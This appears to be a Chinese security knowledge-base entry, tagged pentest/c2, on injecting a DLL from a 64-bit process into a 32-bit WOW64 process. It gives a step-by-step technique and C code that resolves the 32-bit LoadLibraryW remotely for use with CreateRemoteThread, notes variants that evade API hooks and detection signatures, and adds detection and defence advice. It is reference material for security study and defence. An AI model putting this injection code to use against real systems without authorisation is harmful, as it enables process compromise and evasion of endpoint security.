♧ Godown 安全知识树

x64→x86 跨位数 DLL 注入:远程枚举 32 位 kernel32 并解析导出表取 LoadLibraryW

pentest/c2 · verified

一句话结论

64 位进程向 32 位 WOW64 进程注入 DLL 时,不能直接用本进程 GetProcAddress(kernel32, "LoadLibraryW") 得到的 64 位地址——System32 的 64 位 kernel32 与 SysWOW64 的 32 位 kernel32 是不同镜像、基址和导出地址都不同;正确做法是用 EnumProcessModulesEx(..., LIST_MODULES_32BIT) 枚举目标进程的 32 位模块,找到其 kernel32.dll,用 ReadProcessMemory 远程解析 PE 导出表得到该进程内 32 位 LoadLibraryW 的地址,再 CreateRemoteThread 加载 32 位 DLL。

原理

  • 同位数注入为什么能直接 GetProcAddress:同一架构的进程共享同一套系统 DLL 映像,ASLR 在每个启动周期内对同一 DLL 给出相同基址;因此 64 位进程里 GetModuleHandle("kernel32.dll")+GetProcAddress("LoadLibraryW") 得到的地址,在另一个 64 位进程里同样有效(32 位进程之间也同理)。
  • 跨位数时不再共享:64 位进程加载的是 System32\kernel32.dll(PE32+),32 位 WOW64 进程加载的是 SysWOW64\kernel32.dll(PE32)。两者是不同文件、不同基址、不同导出表;64 位 injector 解析出的 LoadLibraryW 是 64 位代码地址,把它作为 32 位目标进程的线程入口会跳到错误/不可执行的地址。
  • 在目标进程内解析:正确地址必须基于目标进程自己的 32 位模块。步骤: 1. EnumProcessModulesEx(hProcess, hMods, ..., LIST_MODULES_32BIT):从 64 位进程枚举 32 位目标进程的模块(PSAPI 支持按位数过滤)。 2. GetModuleBaseNameW(hProcess, hMods[i], ...) 取模块基名,_wcsicmp 与 KERNEL32.DLL 比较(大小写不敏感)。 3. GetRemoteProcAddress(hProcess, hModule, "LoadLibraryW"):ReadProcessMemory 读取 DOS 头 → e_lfanew → NT 头 → OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] → IMAGE_EXPORT_DIRECTORY;遍历 AddressOfNames,找到名字后取 AddressOfNameOrdinals 的序号,再从 AddressOfFunctions 取 RVA,加上模块基址得到目标进程内的 VA。 4. CreateRemoteThread(hProcess, ..., (LPTHREAD_START_ROUTINE)remoteLoadLibraryW, remotePath, ...),目标进程是 32 位,线程入口就是合法的 32 位代码地址。
  • 为什么成立:地址是相对目标进程的 32 位 kernel32 映像计算的,CreateRemoteThread 在目标进程上下文执行该地址;LoadLibraryW 的参数是写入目标进程的 32 位宽字符路径,加载的是 32 位 DLL。
  • 注意转发导出:如果目标函数是转发导出(forwarder),AddressOfFunctions 里的 RVA 指向导出目录内的转发字符串而不是代码;直接加基址会得到错误地址。LoadLibraryW 通常不是转发导出,但实现通用解析器时应判断 RVA 是否落在导出目录范围内。
  • 重复注入:DLL 已加载时 LoadLibraryW 只会增加引用计数,不会再次执行 DllMain(DLL_PROCESS_ATTACH);所以第二次注入同一路径看不到弹窗,需要换 DLL 名/副本或先卸载。

触发条件

  • injector 是 64 位进程,目标是 32 位 WOW64 进程(运行在 64 位 Windows 上)。
  • 有权限 OpenProcess(至少 PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION),并能 ReadProcessMemory 读取目标模块映像。
  • 目标进程已加载 32 位 kernel32.dll(正常 WOW64 进程必有),且导出表可读。
  • 有一个 32 位 DLL 及目标进程可访问的路径;目标允许加载该 DLL(签名/路径/架构匹配)。
  • 目标未启用阻断远程线程/DLL 加载的缓解(CFG、PPL、AppLocker 等),或已有绕过。

利用步骤

  1. OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid) 打开 32 位目标进程。
  2. VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE) 分配路径缓冲区;WriteProcessMemory 写入宽字符 DLL 路径(包含结尾 NUL)。
  3. EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded, LIST_MODULES_32BIT) 枚举 32 位模块。
  4. 遍历模块,GetModuleBaseNameW 取基名,_wcsicmp(L"KERNEL32.DLL", szModName)==0 时记录模块基址。
  5. 调 GetRemoteProcAddress(hProcess, hKernel32, "LoadLibraryW"):远程读取 PE 头/导出表,按名称找到函数 RVA,返回 moduleBase + RVA。
  6. CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteLoadLibraryW, remotePath, 0, NULL);WaitForSingleObject(hThread, INFINITE) 等待 DLL 加载。
  7. 清理远程路径内存与句柄;验证 DLL 是否加载(弹窗/日志/模块枚举)。
  8. 若第二次注入无反应,检查 DLL 是否已加载;可改用不同文件名副本或 FreeLibrary 后再注入。

PoC

// 64 位 injector 的关键逻辑;完整代码见原文
FARPROC GetRemoteProcAddress(HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName) {
    BYTE buf[4096]; SIZE_T n;
    ReadProcessMemory(hProcess, hModule, buf, sizeof(buf), &n);
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buf;
    PIMAGE_NT_HEADERS32 nt = (PIMAGE_NT_HEADERS32)(buf + dos->e_lfanew);
    DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    ReadProcessMemory(hProcess, (BYTE*)hModule + expRva, buf, sizeof(IMAGE_EXPORT_DIRECTORY), &n);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)buf;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        DWORD nameRva, funcRva; WORD ord;
        char name[256];
        ReadProcessMemory(hProcess, (BYTE*)hModule + exp->AddressOfNames + 4*i, &nameRva, 4, &n);
        ReadProcessMemory(hProcess, (BYTE*)hModule + nameRva, name, sizeof(name), &n);
        if (_stricmp(name, lpProcName) == 0) {
            ReadProcessMemory(hProcess, (BYTE*)hModule + exp->AddressOfNameOrdinals + 2*i, &ord, 2, &n);
            ReadProcessMemory(hProcess, (BYTE*)hModule + exp->AddressOfFunctions + 4*ord, &funcRva, 4, &n);
            return (FARPROC)((BYTE*)hModule + funcRva);
        }
    }
    return NULL;
}

FARPROC GetLoadLibraryW32(HANDLE hProcess) {
    HMODULE mods[1024]; DWORD needed;
    if (!EnumProcessModulesEx(hProcess, mods, sizeof(mods), &needed, LIST_MODULES_32BIT))
        return NULL;
    for (DWORD i = 0; i < needed / sizeof(HMODULE); i++) {
        WCHAR name[MAX_PATH];
        if (GetModuleBaseNameW(hProcess, mods[i], name, MAX_PATH) &&
            _wcsicmp(name, L"KERNEL32.DLL") == 0)
            return GetRemoteProcAddress(hProcess, mods[i], "LoadLibraryW");
    }
    return NULL;
}

// main: 打开 32 位目标 -> 写入 DLL 路径 -> 远程 LoadLibraryW -> CreateRemoteThread

变体与关联

  • 注入 shellcode 而非 DLL:如果只是执行 32 位 position-independent shellcode,VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 直接用远程 shellcode 地址即可,不需要解析 LoadLibraryW;但仍要保证 shellcode 是 32 位。
  • NtCreateThreadEx / QueueUserAPC:替换 CreateRemoteThread,绕过对 Win32 API 的 hook;地址仍是目标进程内的 32 位地址。
  • 手工映射/反射 DLL:不调用 LoadLibraryW,改为在目标进程内解析 PE、重定位、调用入口;见 [[pentest-c2-srdi-reflective-dll-injection-shellcode-loader]]。
  • PEB/Ldr 枚举:不用 PSAPI,在目标进程内读取 PEB→Ldr→InMemoryOrderModuleList 找 32 位 kernel32;适合避免 PSAPI 调用特征。
  • 转发导出:通用解析器需判断函数 RVA 是否落在导出目录范围;LoadLibraryW 通常安全。
  • 关联:[[pentest-c2-wow64-heavens-gate-32-to-64-injection]](反方向)、[[pentest-c2-windows-process-hollowing-pe-injection]]、[[pentest-c2-dll-hollowing-sec-image-cow-gac-camouflage]]。

检测与防御

  • 检测:监控 64 位进程对 32 位进程的 OpenProcess + ReadProcessMemory(读取模块头和导出表)+ VirtualAllocEx/WriteProcessMemory + CreateRemoteThread 组合;线程起始地址位于目标 32 位 kernel32 中但调用方是 64 位进程,可作为跨位数注入特征;ETW 模块加载事件中 DLL 路径异常。
  • 防御:对高价值 32 位进程启用 PPL/受保护进程;限制调试权限与跨进程内存读写;启用 CFG/ACG;监控/阻断未签名 DLL 加载(AppLocker/WDAC);EDR 对 EnumProcessModulesEx(LIST_MODULES_32BIT) + 远程导出解析的行为链告警。
  • 安全认知:跨位数注入不是漏洞,而是 WOW64 架构下“同架构共享模块基址”假设失效后的必然结果;防御应关注行为链而非单个 API。